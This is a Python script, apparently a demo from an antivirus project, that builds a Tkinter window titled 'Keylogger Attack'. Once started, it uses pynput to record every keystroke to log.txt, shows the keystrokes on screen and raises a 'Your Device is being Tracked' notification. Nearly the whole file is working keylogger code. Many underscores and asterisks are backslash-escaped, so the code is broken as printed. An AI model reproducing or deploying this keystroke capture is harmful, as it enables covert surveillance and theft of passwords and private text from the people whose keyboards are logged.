from tkinter import \*

from tkinter.filedialog import askdirectory

from tkinter import messagebox

import pynput

import os

from plyer import notification

import time

from pynput.keyboard import Key, Listener

count = 0

keys = []

import threading

def Keylogger():

    window = Tk()

    window.title("Keylogger Attack")

    window.geometry("1200x750")

    window.minsize("1200", "750")

    window.maxsize("1200", "750")

    winFrame = Frame(window, width="1200",height="750",bg="white")

    winFrame.pack()

    winFrame.pack\_propagate(0)

    txtFrame = Frame(winFrame, width="1200",height="450",bg="white")

    txtFrame.pack()

    txtFrame.pack\_propagate(0)

    # text=Text(winFrame, width=80, height=15)

    # text.insert(END, "")

    # text.pack()

    # # create a Scrollbar and associate it with txt

    # scrollb = Scrollbar(winFrame, command=text.yview)

    # scrollb.grid(row=0, column=1, sticky='nsew')

    # text['yscrollcommand'] = scrollb.set

    # Add a Scrollbar(horizontal)

    v = Scrollbar(txtFrame, orient='vertical')

    v.pack(side=RIGHT, fill='y')

    # Add a text widget

    text = Text(txtFrame, width=80, height=10,font=("Georgia, 24"), yscrollcommand=v.set)

    text.insert(END, "")

    text.pack()

    # text=Text(win, font=("Georgia, 24"), yscrollcommand=v.set)

    # Add some text in the text widget

    # for i in range(10):

    #     text.insert(END, "Welcome to Tutorialspoint...\n\n")

    # Attach the scrollbar with the text widget

    v.config(command=text.yview)

    text.pack()

    btn1 = Button(winFrame, text="Start", width=16, height=3, command=lambda :threading.Thread(target=get\_Keylogger).start())

    btn1.place(x=470,y=420)

    def insert\_text(txt):

        text.insert(END, txt+"\n")

        text.see(END)

    def on\_press(key):

        global keys, count

        keys.append(key)

        count += 1

        print("{0} pressed".format(key))

        if count >= 1:

            count = 0

            write\_file(keys)

            keys = []

    def get\_size(fileobject):

        fileobject.seek(0,2) # move the cursor to the end of the file

        size = fileobject.tell()

        return size

    def write\_file(keys):

        with open("log.txt", "a") as f:

            for key in keys:

                k = str(key).replace("'","")

                if k.find("backspace") > 0:

                    fsize = get\_size(f)

                    f.truncate(fsize - 1)

                    text.delete("end-2c")

                elif k.find("space") > 0:

                    f.write('\n')

                    text.insert(END, "\n")

                    text.see(END)

                elif k.find("enter") > 0:

                    f.write('\n')

                    text.insert(END, "\n")

                    text.see(END)

                elif k.find("Key") == -1:

                    f.write(k)

                    text.insert(END, k)

    def on\_release(key):

        if key == Key.alt\_gr:

            return False

        # if key == Key.esc:

        #     return False

    def get\_Keylogger():

        insert\_text("Keylogger Start ............")

        # Reading feature list  D:\\Projects\\Antivirus\\Antivirus\_KDDCUP99

        # with open("D:\\Projects\\Antivirus\\Antivirus\_KDDCUP99\\dataset\\kddcup.names",'r') as f:

        #     print(f.read())

        #     # insert\_text(str(f.read()))

        #     text.insert("1.0", f.read())

        notification.notify(

                title = "Your Device is being Tracked ",

                message="Keylogger inserted inside in your Device" ,

                # displaying time

                timeout=4

            )

            # waiting time

        time.sleep(3)

        with Listener(on\_press=on\_press, on\_release=on\_release) as listener:

            listener.join()

    window.mainloop()